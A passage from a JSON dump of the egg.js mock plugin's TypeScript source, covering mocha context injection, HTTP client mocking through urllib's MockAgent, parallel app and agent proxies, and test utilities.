    "content": "import assert from 'node:assert';\nimport { debuglog } from 'node:util';\n\nimport { getApp } from './app_handler.ts';\n\nconst debug = debuglog('egg/mock/lib/inject_context');\n\nconst MOCHA_SUITE_APP = Symbol.for('mocha#suite#app');\n\n/**\n * Monkey patch the mocha instance with egg context.\n *\n * @param {Function} mocha - the module of mocha\n */\nexport function injectContext(mocha: any): void {\n  if (mocha._injectContextLoaded) {\n    debug('mocha already injected context, skip it');\n    return;\n  }\n  const { Runner } = mocha;\n  const runSuite = Runner.prototype.runSuite;\n  const runTests = Runner.prototype.runTests;\n\n  function getTestTitle(suite: any, test: any) {\n    const suiteTitle = suite.root ? 'root suite' : suite.title;\n    if (!test) {\n      return `\"${suiteTitle}\"`;\n    }\n    return `\"${suiteTitle} - ${test.title}\"`;\n  }\n\n  // Inject ctx for before/after.\n  Runner.prototype.runSuite = async function (suite: any, fn: any) {\n    debug('run suite: %s', suite.title);\n    let app;\n    const self = this;\n    try {\n      app = await getApp(suite);\n      debug('get app: %s', !!app);\n      await app.ready();\n    } catch {\n      // 可能 app.ready 时报错，不使用失败的 app\n      app = null;\n    }\n    if (!app) {\n      // app 不存在，直接跳过，在 beforeEach 的 hook 中会报错\n      // 确保不打乱 mocha 的顺序，防止 mocha 内部状态错误\n      return runSuite.call(self, suite, fn);\n    }\n    let errSuite;\n    try {\n      suite.ctx[MOCHA_SUITE_APP] = app;\n      const mockContextFun = app.mockModuleContextScope || app.mockContextScope;\n      await mockContextFun.call(app, async function () {\n        await new Promise<void>((resolve) => {\n          runSuite.call(self, suite, (aErrSuite: Error) => {\n            errSuite = aErrSuite;\n            resolve();\n          });\n        });\n      });\n    } catch (err) {\n      // mockContext 失败后动态注册一个 beforeAll hook\n      // 快速失败，直接阻塞后续用例\n      suite.beforeAll('egg-mock-mock-ctx-failed', async () => {\n        throw err;\n      });\n      return runSuite.call(self, suite, (aErrSuite: Error) => {\n        return fn(aErrSuite);\n      });\n    }\n    return fn(errSuite);\n  };\n\n  // Inject ctx for beforeEach/it/afterEach.\n  // And ctx with before/after is not same as beforeEach/it/afterEach.\n  Runner.prototype.runTests = async function (suite: any, fn: any) {\n    const tests = suite.tests.slice();\n    if (!tests.length) {\n      return runTests.call(this, suite, fn);\n    }\n\n    const app = suite.ctx[MOCHA_SUITE_APP];\n\n    const self = this;\n    if (!app) {\n      return runTests.call(self, suite, fn);\n    }\n\n    function done(errSuite?: Error) {\n      suite.tests = tests;\n      return fn(errSuite);\n    }\n\n    async function next(i: number) {\n      const test = tests[i];\n      if (!test) {\n        return done();\n      }\n      suite.tests = [test];\n\n      let app;\n      try {\n        app = await getApp(suite, test);\n        assert(app, `not found app for test ${getTestTitle(suite, test)}`);\n        await app.ready();\n      } catch (err) {\n        self.fail(test, err);\n        return next(i + 1);\n      }\n\n      try {\n        const mockContextFun = app.mockModuleContextScope || app.mockContextScope;\n        await mockContextFun.call(app, async function () {\n          return await new Promise<void>((resolve) => {\n            runTests.call(self, suite, () => {\n              return resolve();\n            });\n          });\n        });\n      } catch (err) {\n        self.fail(test, err);\n        return next(i + 1);\n      }\n      return next(i + 1);\n    }\n    next(0).catch((err) => {\n      self.fail(suite, err);\n      done(suite);\n    });\n  };\n\n  mocha._injectContextLoaded = true;\n  debug('inject context success');\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/mock_agent.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { MockAgent, setGlobalDispatcher, getGlobalDispatcher, Dispatcher, HttpClient } from 'urllib';\n\nconst debug = debuglog('egg/mock/lib/mock_agent');\n\ndeclare namespace globalThis {\n  let __mockAgent: MockAgent | null;\n  let __globalDispatcher: Dispatcher;\n  let __httpClientDispatchers: Map<HttpClient, Dispatcher>;\n}\n\nglobalThis.__mockAgent = null;\nglobalThis.__httpClientDispatchers = new Map<HttpClient, Dispatcher>();\n\nexport function getMockAgent(app?: { httpClient?: HttpClient }): MockAgent {\n  debug('getMockAgent');\n  if (!globalThis.__globalDispatcher) {\n    globalThis.__globalDispatcher = getGlobalDispatcher();\n    debug('create global dispatcher');\n  }\n  if (app?.httpClient && !globalThis.__httpClientDispatchers.has(app.httpClient)) {\n    globalThis.__httpClientDispatchers.set(app.httpClient, app.httpClient.getDispatcher());\n    debug('add new httpClient, size: %d', globalThis.__httpClientDispatchers.size);\n  }\n  if (!globalThis.__mockAgent) {\n    globalThis.__mockAgent = new MockAgent();\n    setGlobalDispatcher(globalThis.__mockAgent);\n    if (typeof app?.httpClient?.setDispatcher === 'function') {\n      app.httpClient.setDispatcher(globalThis.__mockAgent);\n    }\n    debug('create new mockAgent');\n  }\n  return globalThis.__mockAgent;\n}\n\nexport async function restoreMockAgent(): Promise<void> {\n  debug('restoreMockAgent start');\n  if (globalThis.__globalDispatcher) {\n    setGlobalDispatcher(globalThis.__globalDispatcher);\n    debug('restore global dispatcher');\n  }\n  debug('restore httpClient, size: %d', globalThis.__httpClientDispatchers.size);\n  for (const [httpClient, dispatcher] of globalThis.__httpClientDispatchers) {\n    httpClient.setDispatcher(dispatcher);\n  }\n  globalThis.__httpClientDispatchers.clear();\n  if (globalThis.__mockAgent) {\n    const agent = globalThis.__mockAgent;\n    globalThis.__mockAgent = null;\n    await agent.close();\n    debug('close mockAgent');\n  }\n  debug('restoreMockAgent end');\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/mock_custom_loader.ts",
    "content": "import { debuglog } from 'node:util';\n\nconst debug = debuglog('egg/mock/lib/mock_custom_loader');\n\nexport function setCustomLoader(app: any): void {\n  const customLoader = app.config.customLoader;\n  if (!customLoader) return;\n\n  for (const field of Object.keys(customLoader)) {\n    const loaderConfig = Object.assign({}, customLoader[field]);\n    loaderConfig.field = field;\n    addMethod(loaderConfig);\n  }\n\n  function addMethod(loaderConfig: any) {\n    const field = loaderConfig.field as string;\n    const appMethodName = 'mock' + field.replace(/^[a-z]/i, (s) => s.toUpperCase());\n    if (app[appMethodName]) {\n      app.coreLogger.warn(\"Can't override app.%s\", appMethodName);\n      return;\n    }\n    debug('[addMethod] %s => %j', appMethodName, loaderConfig);\n    app[appMethodName] = function (service: any, methodName: string, fn: any) {\n      if (typeof service === 'string') {\n        const arr = service.split('.');\n        service = loaderConfig.inject === 'ctx' ? this[field + 'Classes'] : this[field];\n        for (const key of arr) {\n          service = service[key];\n        }\n        service = service.prototype || service;\n      }\n      this._mockFn(service, methodName, fn);\n      return this;\n    };\n  }\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/mock_http_server.ts",
    "content": "import http, { Server } from 'node:http';\n\nconst SERVER = Symbol('http_server');\n\nexport function createServer(app: any): Server {\n  let server = app[SERVER] || app.callback();\n  if (typeof server === 'function') {\n    server = http.createServer(server);\n    // cache server, avoid create many times\n    app[SERVER] = server;\n    if (!app.server) {\n      app.server = server;\n    }\n    // emit server event just like egg-cluster does\n    // https://github.com/eggjs/egg-cluster/blob/master/lib/app_worker.js#L52\n    app.emit('server', server);\n  }\n  return server;\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/mock_httpclient.ts",
    "content": "import { extend } from '@eggjs/extend2';\nimport { mm } from 'mm';\nimport type { Dispatcher, Headers, BodyInit } from 'urllib';\n\nimport { getMockAgent } from './mock_agent.ts';\n\nexport interface MockResultOptions {\n  data: string | Buffer | Record<string, any>;\n  /**\n   * http status\n   */\n  status?: number;\n  /**\n   * response header\n   */\n  headers?: Record<string, string>;\n  /**\n   * delay the associated reply by a set amount in ms\n   */\n  delay?: number;\n  /**\n   * any matching request will always reply with the defined response indefinitely\n   */\n  persist?: boolean;\n  /**\n   * any matching request will reply with the defined response a fixed amount of times\n   */\n  repeats?: number;\n}\n// keep compatible with old version\nexport type ResultObject = MockResultOptions;\n\nexport interface MockResponseCallbackOptions {\n  path: string;\n  method: string;\n  headers?: Headers | Record<string, string>;\n  origin?: string;\n  body?: BodyInit | Dispatcher.DispatchOptions['body'] | null;\n  maxRedirections?: number;\n}\n\nexport type MockResultFunction = (url: string, options: MockResponseCallbackOptions) => MockResultOptions | string;\n\nfunction normalizeResult(result: string | MockResultOptions) {\n  if (typeof result === 'string') {\n    result = { data: result };\n  }\n\n  if (!result.status) {\n    result.status = 200;\n  }\n\n  result.data = result.data || '';\n  if (Buffer.isBuffer(result.data)) {\n    // do nothing\n  } else if (typeof result.data === 'object') {\n    // json\n    result.data = Buffer.from(JSON.stringify(result.data));\n  } else if (typeof result.data === 'string') {\n    // string\n    result.data = Buffer.from(result.data);\n  } else {\n    throw new Error('`mockResult.data` must be buffer, string or json');\n  }\n  result.headers = result.headers ?? {};\n  return result;\n}\n\nconst MOCK_CONFIGS = Symbol('MOCK_CONFIGS');\nconst MOCK_CONFIG_INDEX = Symbol('MOCK_CONFIG_INDEX');\n\nexport type MockHttpClientMethod = (\n  mockUrl: string | RegExp,\n  mockMethod: string | string[] | MockResultOptions | MockResultFunction,\n  mockResult?: MockResultOptions | MockResultFunction | string,\n) => void;\n\nexport function createMockHttpClient(app: any): MockHttpClientMethod {\n  /**\n   * mock httpclient\n   * @function mockHttpclient\n   * @param {String} mockUrl - url\n   * @param {String|Array} mockMethod - http method, default is '*'\n   * @param {Object|Function} mockResult - you data\n   *   - data - buffer / string / json\n   *   - status - http status\n   *   - headers - response header\n   *   - delay - delay the associated reply by a set amount in ms.\n   *   - persist - any matching request will always reply with the defined response indefinitely, default is true\n   *   - repeats - number, any matching request will reply with the defined response a fixed amount of times\n   */\n  return function mockHttpClient(\n    mockUrl: string | RegExp,\n    mockMethod: string | string[] | MockResultOptions | MockResultFunction,\n    mockResult?: MockResultOptions | MockResultFunction | string,\n  ): void {\n    let mockMethods = mockMethod as string[];\n    if (!mockResult) {\n      // app.mockHttpclient(mockUrl, mockResult)\n      mockResult = mockMethod as MockResultOptions;\n      mockMethods = ['*'];\n    }\n    if (!Array.isArray(mockMethods)) {\n      mockMethods = [mockMethods];\n    }\n    mockMethods = mockMethods.map((method) => (method || 'GET').toUpperCase());\n\n    // use MockAgent on undici\n    let mockConfigs = app[MOCK_CONFIGS];\n    if (!mockConfigs) {\n      mockConfigs = [];\n      mm(app, MOCK_CONFIGS, mockConfigs);\n    }\n\n    let mockConfigIndex = -1;\n    let origin = mockUrl;\n    let originMethod: ((value: string) => boolean) | undefined;\n    const pathname = mockUrl;\n    let pathMethod: (path: string) => boolean;\n    if (typeof mockUrl === 'string') {\n      const urlObject = new URL(mockUrl);\n      origin = urlObject.origin;\n      const originalPathname = urlObject.pathname;\n      pathMethod = (path) => {\n        if (path === originalPathname) return true;\n        // should match /foo?a=1 including query\n        if (path.includes('?')) return path.startsWith(originalPathname);\n        return false;\n      };\n    } else if (mockUrl instanceof RegExp) {\n      let requestOrigin = '';\n      originMethod = (value) => {\n        requestOrigin = value;\n        return true;\n      };\n      pathMethod = (path) => {\n        for (const config of mockConfigs) {\n          if (config.mockUrl.test(`${requestOrigin}${path}`)) {\n            mm(app, MOCK_CONFIG_INDEX, config.mockConfigIndex);\n            return true;\n          }\n        }\n        return false;\n      };\n      mockConfigIndex = mockConfigs.length;\n      mockConfigs.push({ mockUrl, mockResult, mockConfigIndex });\n    }\n    const mockPool = originMethod\n      ? getMockAgent(app).get(originMethod)\n      : getMockAgent(app).get(originMethod ?? (origin as string));\n    // persist default is true\n    let persist = true;\n    if (typeof mockResult === 'object' && typeof mockResult.persist === 'boolean') {\n      persist = mockResult.persist;\n    }\n    mockMethods.forEach(function (method) {\n      const mockScope = mockPool\n        .intercept({\n          path: pathMethod ?? pathname,\n          method: method === '*' ? () => true : method,\n        })\n        .reply((options) => {\n          // not support mockResult as an async function\n          const requestUrl = `${options.origin}${options.path}`;\n          let mockRequestResult;\n          if (mockConfigIndex >= 0) {\n            mockResult = mockConfigs[app[MOCK_CONFIG_INDEX]].mockResult;\n            mockRequestResult = typeof mockResult === 'function' ? mockResult(requestUrl, options) : mockResult;\n          } else {\n            mockRequestResult = typeof mockResult === 'function' ? mockResult(requestUrl, options) : mockResult;\n          }\n          const result = extend(true, {}, normalizeResult(mockRequestResult!));\n          return {\n            statusCode: result.status,\n            data: result.data,\n            responseOptions: {\n              headers: result.headers,\n            },\n          };\n        });\n      if (typeof mockResult === 'object') {\n        if (mockResult.delay && mockResult.delay > 0) {\n          mockScope.delay(mockResult.delay);\n        }\n      }\n      if (persist) {\n        mockScope.persist();\n      } else if (typeof mockResult === 'object' && mockResult.repeats && mockResult.repeats > 0) {\n        mockScope.times(mockResult.repeats);\n      }\n    });\n  };\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/parallel/agent.ts",
    "content": "import path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport { detectPort } from 'detect-port';\nimport type { Agent as EggAgent } from 'egg';\nimport { Base } from 'sdk-base';\n\nimport { context } from '../context.ts';\nimport { formatOptions } from '../format_options.ts';\nimport { setCustomLoader } from '../mock_custom_loader.ts';\nimport type { MockOptions, MockApplicationOptions } from '../types.ts';\nimport { sleep, rimraf } from '../utils.ts';\n\nconst debug = debuglog('egg/mock/lib/parallel/agent');\n\nexport class MockAgent extends Base {\n  declare options: MockApplicationOptions;\n  baseDir: string;\n  __APP_INIT__ = false;\n  #initOnListeners = new Set<any[]>();\n  #initOnceListeners = new Set<any[]>();\n  _instance: EggAgent;\n\n  constructor(options: MockApplicationOptions) {\n    super({ initMethod: '_init' });\n    this.options = options;\n    this.baseDir = this.options.baseDir;\n  }\n\n  async _init(): Promise<void> {\n    if (this.options.beforeInit) {\n      await this.options.beforeInit(this);\n      delete this.options.beforeInit;\n    }\n    if (this.options.clean !== false) {\n      const logDir = path.join(this.options.baseDir, 'logs');\n      try {\n        await rimraf(logDir);\n      } catch (err: any) {\n        console.error(`remove log dir ${logDir} failed: ${err.stack}`);\n      }\n      const runDir = path.join(this.options.baseDir, 'run');\n      try {\n        await rimraf(runDir);\n      } catch (err: any) {\n        console.error(`remove run dir ${runDir} failed: ${err.stack}`);\n      }\n    }\n\n    this.options.clusterPort = await detectPort();\n    process.env.CLUSTER_PORT = String(this.options.clusterPort);\n    debug('get clusterPort %s', this.options.clusterPort);\n    const { Agent }: { Agent: typeof EggAgent } = await importModule(this.options.framework);\n\n    const agent = (this._instance = new Agent({ ...this.options }));\n\n    // egg-mock plugin need to override egg context\n    Object.assign(agent.context, context);\n    setCustomLoader(agent);\n\n    debug('agent instantiate');\n    this.__APP_INIT__ = true;\n    debug('this[APP_INIT] = true');\n    this.#bindEvents();\n    await agent.ready();\n\n    const msg = {\n      action: 'egg-ready',\n      data: this.options,\n    };\n    agent.messenger.onMessage(msg);\n    debug('agent ready');\n  }\n\n  #bindEvents(): void {\n    debug('bind cache events to agent');\n    for (const args of this.#initOnListeners) {\n      debug('on(%s), use cache and pass to agent', args);\n      this._instance.on(args[0], args[1]);\n      this.removeListener(args[0], args[1]);\n    }\n    for (const args of this.#initOnceListeners) {\n      debug('once(%s), use cache and pass to agent', args);\n      this._instance.once(args[0], args[1]);\n      this.removeListener(args[0], args[1]);\n    }\n  }\n\n  on(...args: any[]): this {\n    if (this.__APP_INIT__) {\n      debug('on(%s), pass to agent', args);\n      this._instance.on(args[0], args[1]);\n    } else {\n      debug('on(%s), cache it because agent has not init', args);\n      this.#initOnListeners.add(args);\n      super.on(args[0], args[1]);\n    }\n    return this;\n  }\n\n  once(...args: any[]): this {\n    if (this.__APP_INIT__) {\n      debug('once(%s), pass to agent', args);\n      this._instance.once(args[0], args[1]);\n    } else {\n      debug('once(%s), cache it because agent has not init', args);\n      this.#initOnceListeners.add(args);\n      super.on(args[0], args[1]);\n    }\n    return this;\n  }\n\n  /**\n   * close agent\n   */\n  async _close(): Promise<void> {\n    if (this._instance) {\n      await this._instance.close();\n    } else {\n      // when agent init throws an exception, must wait for agent quit gracefully\n      await sleep(200);\n    }\n  }\n}\n\nexport function createAgent(options: MockOptions): MockAgent {\n  return new MockAgent(formatOptions(options));\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/parallel/app.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport { Application as EggApplication } from 'egg';\nimport { Base } from 'sdk-base';\n\nimport { context } from '../context.ts';\nimport { formatOptions } from '../format_options.ts';\nimport { setCustomLoader } from '../mock_custom_loader.ts';\nimport { createServer } from '../mock_http_server.ts';\nimport type { MockOptions, MockApplicationOptions } from '../types.ts';\nimport { sleep } from '../utils.ts';\nimport { proxyApp } from './util.ts';\n\nconst debug = debuglog('egg/mock/lib/parallel/app');\n\nexport class MockParallelApplication extends Base {\n  declare options: MockApplicationOptions;\n  baseDir: string;\n  __APP_INIT__ = false;\n  #initOnListeners = new Set<any[]>();\n  #initOnceListeners = new Set<any[]>();\n  _instance: EggApplication;\n\n  constructor(options: MockApplicationOptions) {\n    super({ initMethod: '_init' });\n    this.options = options;\n    this.baseDir = options.baseDir;\n  }\n\n  async _init(): Promise<void> {\n    if (this.options.beforeInit) {\n      await this.options.beforeInit(this);\n      delete this.options.beforeInit;\n    }\n\n    if (!this.options.clusterPort) {\n      this.options.clusterPort = parseInt(process.env.CLUSTER_PORT!);\n    }\n    if (!this.options.clusterPort) {\n      throw new Error('cannot get env.CLUSTER_PORT, parallel run fail');\n    }\n    debug('get clusterPort %s', this.options.clusterPort);\n    const { Application }: { Application: typeof EggApplication } = await importModule(this.options.framework);\n\n    const app = (this._instance = new Application({ ...this.options }));\n\n    // egg-mock plugin need to override egg context\n    Object.assign(app.context, context);\n    setCustomLoader(app);\n\n    debug('app instantiate');\n    this.__APP_INIT__ = true;\n    debug('this[APP_INIT] = true');\n    this.#bindEvents();\n    debug('http server instantiate');\n    createServer(app);\n    await app.ready();\n\n    const msg = {\n      action: 'egg-ready',\n      data: this.options,\n    };\n    (app as any).messenger.onMessage(msg);\n    debug('app ready');\n  }\n\n  #bindEvents(): void {\n    for (const args of this.#initOnListeners) {\n      debug('on(%s), use cache and pass to app', args);\n      this._instance.on(args[0], args[1]);\n      this.removeListener(args[0], args[1]);\n    }\n    for (const args of this.#initOnceListeners) {\n      debug('once(%s), use cache and pass to app', args);\n      this._instance.once(args[0], args[1]);\n      this.removeListener(args[0], args[1]);\n    }\n  }\n\n  on(...args: any[]): this {\n    if (this.__APP_INIT__) {\n      debug('on(%s), pass to app', args);\n      this._instance.on(args[0], args[1]);\n    } else {\n      debug('on(%s), cache it because app has not init', args);\n      if (this.#initOnListeners) {\n        this.#initOnListeners.add(args);\n      }\n      super.on(args[0], args[1]);\n    }\n    return this;\n  }\n\n  once(...args: any[]): this {\n    if (this.__APP_INIT__) {\n      debug('once(%s), pass to app', args);\n      this._instance.once(args[0], args[1]);\n    } else {\n      debug('once(%s), cache it because app has not init', args);\n      if (this.#initOnceListeners) {\n        this.#initOnceListeners.add(args);\n      }\n      super.on(args[0], args[1]);\n    }\n    return this;\n  }\n\n  /**\n   * close app\n   */\n  async _close(): Promise<void> {\n    if (this._instance) {\n      await this._instance.close();\n    } else {\n      // when app init throws an exception, must wait for app quit gracefully\n      await sleep(200);\n    }\n  }\n}\n\nexport function createApp(initOptions: MockOptions): ReturnType<typeof proxyApp> {\n  const app = new MockParallelApplication(formatOptions(initOptions));\n  return proxyApp(app);\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/parallel/util.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { getProperty } from '../utils.ts';\n\nconst debug = debuglog('egg/mock/lib/parallel/util');\n\nexport const MOCK_APP_METHOD: string[] = ['ready', 'isClosed', 'closed', 'close', 'on', 'once'];\n\nexport function proxyApp(app: any): any {\n  const proxyApp = new Proxy(app, {\n    get(target, prop: string): any {\n      // don't delegate properties on MockAgent\n      if (MOCK_APP_METHOD.includes(prop)) {\n        return getProperty(target, prop);\n      }\n      if (!target.__APP_INIT__) throw new Error(`can't get ${prop} before ready`);\n      // it's asynchronous when agent and app are loading,\n      // so should get the properties after loader ready\n      debug('proxy handler.get %s', prop);\n      return target._instance[prop];\n    },\n    set(target, prop: string, value): boolean {\n      if (MOCK_APP_METHOD.includes(prop)) return true;\n      if (!target.__APP_INIT__) throw new Error(`can't set ${prop} before ready`);\n      debug('proxy handler.set %s', prop);\n      target._instance[prop] = value;\n      return true;\n    },\n    defineProperty(target, prop: string, descriptor): boolean {\n      // can't define properties on MockAgent\n      if (MOCK_APP_METHOD.includes(prop)) return true;\n      if (!target.__APP_INIT__) throw new Error(`can't defineProperty ${prop} before ready`);\n      debug('proxy handler.defineProperty %s', prop);\n      Object.defineProperty(target._instance, prop, descriptor);\n      return true;\n    },\n    deleteProperty(target, prop: string): boolean {\n      // can't delete properties on MockAgent\n      if (MOCK_APP_METHOD.includes(prop)) return true;\n      if (!target.__APP_INIT__) throw new Error(`can't delete ${prop} before ready`);\n      debug('proxy handler.deleteProperty %s', prop);\n      delete target._instance[prop];\n      return true;\n    },\n    getOwnPropertyDescriptor(target, prop: string): PropertyDescriptor | undefined {\n      if (MOCK_APP_METHOD.includes(prop)) return Object.getOwnPropertyDescriptor(target, prop);\n      if (!target.__APP_INIT__) throw new Error(`can't getOwnPropertyDescriptor ${prop} before ready`);\n      debug('proxy handler.getOwnPropertyDescriptor %s', prop);\n      return Object.getOwnPropertyDescriptor(target._instance, prop);\n    },\n    getPrototypeOf(target): object | null {\n      if (!target.__APP_INIT__) throw new Error(\"can't getPrototypeOf before ready\");\n      debug('proxy handler.getPrototypeOf %s');\n      return Object.getPrototypeOf(target._instance);\n    },\n  });\n  return proxyApp;\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/prerequire.ts",
    "content": "// const debug = require('util').debuglog('egg-mock/prerequire');\n// const path = require('path');\n// const { existsSync } = require('fs');\n// const globby = require('globby');\n\n// const cwd = process.cwd();\n// const dirs = [];\n// if (existsSync(path.join(cwd, 'app'))) {\n//   dirs.push('app/**/*.js');\n// }\n// // avoid Error: ENOENT: no such file or directory, scandir\n// if (existsSync(path.join(cwd, 'config'))) {\n//   dirs.push('config/**/*.js');\n// }\n// const files = globby.sync(dirs, { cwd });\n\n// for (const file of files) {\n//   const filepath = path.join(cwd, file);\n//   try {\n//     debug('%s prerequire %s', process.pid, filepath);\n//     require(filepath);\n//   } catch (err) {\n//     debug('prerequire error %s', err.message);\n//   }\n// }\n"
  },
  {
    "path": "plugins/mock/src/lib/request_call_function.ts",
    "content": "import httpClient from 'urllib';\n\nconst { port, method, args, property, needResult } = JSON.parse(process.argv[2]);\nconst url = `http://127.0.0.1:${port}/__egg_mock_call_function`;\n\nhttpClient\n  .request(url, {\n    method: 'POST',\n    data: {\n      method,\n      args,\n      property,\n      needResult,\n    },\n    contentType: 'json',\n    dataType: 'json',\n  })\n  .then(({ data }) => {\n    if (!data.success) {\n      // console.log('POST %s error, method: %s, args: %j, result data: %j',\n      //   url, method, args, data);\n      if (data.error) {\n        console.error(data.error);\n      } else if (data.message) {\n        const err = new Error(data.message);\n        err.stack = data.stack;\n        console.error(err);\n      }\n      process.exit(2);\n    }\n\n    if (data.result) {\n      console.log('%j', data.result);\n    }\n    process.exit(0);\n  })\n  .catch((err) => {\n    // ignore ECONNREFUSED error on mockRestore\n    if (method === 'mockRestore' && err.message.includes('ECONNREFUSED')) {\n      process.exit(0);\n    }\n\n    console.error('POST %s error, method: %s, args: %j', url, method, args);\n    console.error(err.stack);\n\n    // ignore all error on mockRestore\n    if (method === 'mockRestore') {\n      process.exit(0);\n    } else {\n      process.exit(1);\n    }\n  });\n"
  },
  {
    "path": "plugins/mock/src/lib/restore.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { restore as mmRestore } from 'mm';\n\nimport { restore as clusterRestore } from './cluster.ts';\nimport { restoreMockAgent } from './mock_agent.ts';\n\nconst debug = debuglog('egg/mock/lib/restore');\n\nexport async function restore(): Promise<void> {\n  // keep mm.restore execute in the current event loop\n  mmRestore();\n  await clusterRestore();\n  await restoreMockAgent();\n  debug('restore all');\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/start-cluster.ts",
    "content": "#!/usr/bin/env node\n\nimport assert from 'node:assert';\nimport { debuglog } from 'node:util';\n\nimport { importModule } from '@eggjs/utils';\nimport { isAsyncFunction } from 'is-type-of';\n\nconst debug = debuglog('egg/mock/lib/start-cluster');\n\n// if (process.env.EGG_BIN_PREREQUIRE) {\n//   require('./prerequire');\n// }\n\nasync function main() {\n  const options = JSON.parse(process.argv[2]);\n  debug('startCluster with options: %o', options);\n  const { startCluster } = await importModule(options.framework);\n  assert(\n    isAsyncFunction(startCluster),\n    `framework(${options.framework}) should export startCluster as an async function`,\n  );\n  await startCluster(options);\n}\n\nmain();\n"
  },
  {
    "path": "plugins/mock/src/lib/supertest.ts",
    "content": "import path from 'node:path';\n\nimport { Request, Test } from '@eggjs/supertest';\nimport { readJSONSync } from 'utility';\n\nimport { createServer } from './mock_http_server.ts';\nimport { getSourceDirname } from './utils.ts';\n\n// patch from https://github.com/visionmedia/supertest/blob/199506d8dbfe0bb1434fc07c38cdcd1ab4c7c926/index.js#L19\n\nlet pkgVersion = '';\n\n/**\n * Test against the given `app`,\n * returning a new `Test`.\n */\nexport class EggTestRequest extends Request {\n  #app: any;\n\n  constructor(app: any) {\n    super(createServer(app));\n    this.#app = app;\n  }\n\n  protected _testRequest(method: string, url: string): Test {\n    // support pathFor(url)\n    if (url[0] !== '/') {\n      const realUrl = this.#app.router.pathFor(url);\n      if (!realUrl) {\n        throw new Error(`Can't find router:${url}, please check your 'app/router.js'`);\n      }\n      url = realUrl;\n    }\n    const test = super._testRequest(method, url);\n    if (!pkgVersion) {\n      const pkgFile = path.join(getSourceDirname(), '../package.json');\n      const pkg = readJSONSync(pkgFile);\n      pkgVersion = pkg.version;\n    }\n    test.set('User-Agent', `@eggjs/mock/${pkgVersion} Node.js/${process.version}`);\n    return test;\n  }\n}\n\nexport function request(app: any): EggTestRequest {\n  return new EggTestRequest(app);\n}\n"
  },
  {
    "path": "plugins/mock/src/lib/tmp/.gitkeep",
    "content": ""
  },
  {
    "path": "plugins/mock/src/lib/tmp/empty.ts",
    "content": ""
  },
  {
    "path": "plugins/mock/src/lib/types.ts",
    "content": "export interface MockOptions {\n  /**\n   * The mode of the application\n   */\n  mode?: 'cluster' | 'single';\n\n  /**\n   * The directory of the application\n   */\n  baseDir?: string;\n\n  /**\n   * Custom you plugins\n   */\n  plugins?: any;\n\n  /**\n   * The directory of the egg framework\n   *\n   * Set to `true` to use the current directory as framework directory\n   */\n  framework?: string | boolean;\n\n  /**\n   * current test on plugin\n   */\n  plugin?: boolean;\n\n  /**\n   * @deprecated please use `framework` instead\n   */\n  customEgg?: string | boolean;\n\n  /**\n   * Cache application based on baseDir\n   */\n  cache?: boolean;\n\n  /**\n   * Switch on process coverage, but it'll be slower\n   */\n  coverage?: boolean;\n\n  /**\n   * Remove $baseDir/logs and $baseDir/run before start, default is `true`\n   */\n  clean?: boolean;\n\n  /**\n   * default options.mockCtxStorage value on each mockContext\n   */\n  mockCtxStorage?: boolean;\n\n  beforeInit?: (app: any) => Promise<void>;\n\n  /**\n   * Start mode for egg cluster-client\n   */\n  startMode?: 'process' | 'worker_threads';\n}\n\nexport interface MockClusterOptions extends MockOptions {\n  workers?: number | string;\n  cache?: boolean;\n  port?: number;\n  /**\n   * opt pass to coffee, such as { execArgv: ['--debug'] }\n   */\n  opt?: object;\n  startMode?: 'process' | 'worker_threads';\n}\n\n/**\n * @deprecated please use MockOptions instead\n * keep this for compatible\n */\nexport type MockOption = MockOptions;\n\nexport interface MockApplicationOptions extends MockOptions {\n  baseDir: string;\n  framework: string;\n  clusterPort?: number;\n}\n\nexport interface MockClusterApplicationOptions extends MockClusterOptions {\n  baseDir: string;\n  framework: string;\n  port: number;\n}\n\nexport type {\n  MockResultOptions,\n  ResultObject,\n  MockResponseCallbackOptions,\n  MockResultFunction,\n  MockHttpClientMethod,\n} from './mock_httpclient.js';\n\nexport type { MockAgent } from 'urllib';\n"
  },
  {
    "path": "plugins/mock/src/lib/utils.ts",
    "content": "import { rmSync } from 'node:fs';\nimport { rm } from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\nimport { fileURLToPath } from 'node:url';\n\nexport function getSourceDirname(): string {\n  if (typeof __dirname !== 'undefined') {\n    return path.dirname(__dirname);\n  }\n  // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n  // @ts-ignore\n  return path.dirname(path.dirname(fileURLToPath(import.meta.url)));\n}\n\nexport async function sleep(delay: number): Promise<void> {\n  await scheduler.wait(delay);\n}\n\nexport async function rimraf(filepath: string): Promise<void> {\n  await rm(filepath, { force: true, recursive: true });\n}\n\nexport function rimrafSync(filepath: string): void {\n  rmSync(filepath, { force: true, recursive: true });\n}\n\nexport function getProperty(target: any, prop: PropertyKey): any {\n  const member = target[prop];\n  if (typeof member === 'function') {\n    return member.bind(target);\n  }\n  return member;\n}\n\nexport function getEggOptions(): { baseDir: string; framework?: string } {\n  const options = {\n    baseDir: process.env.EGG_BASE_DIR ?? process.cwd(),\n    framework: process.env.EGG_FRAMEWORK,\n  };\n  return options;\n}\n\n// const hasOwnProperty = Object.prototype.hasOwnProperty;\n\n// /**\n//  * Merge the property descriptors of `src` into `dest`\n//  *\n//  * @param {object} dest Object to add descriptors to\n//  * @param {object} src Object to clone descriptors from\n//  * @param {boolean} [redefine=true] Redefine `dest` properties with `src` properties\n//  * @return {object} Reference to dest\n//  * @public\n//  */\n\n// function merge(dest, src, redefine) {\n//   if (!dest) {\n//     throw new TypeError('argument dest is required');\n//   }\n\n//   if (!src) {\n//     throw new TypeError('argument src is required');\n//   }\n\n//   if (redefine === undefined) {\n//     // Default to true\n//     redefine = true;\n//   }\n\n//   Object.getOwnPropertyNames(src).forEach(function 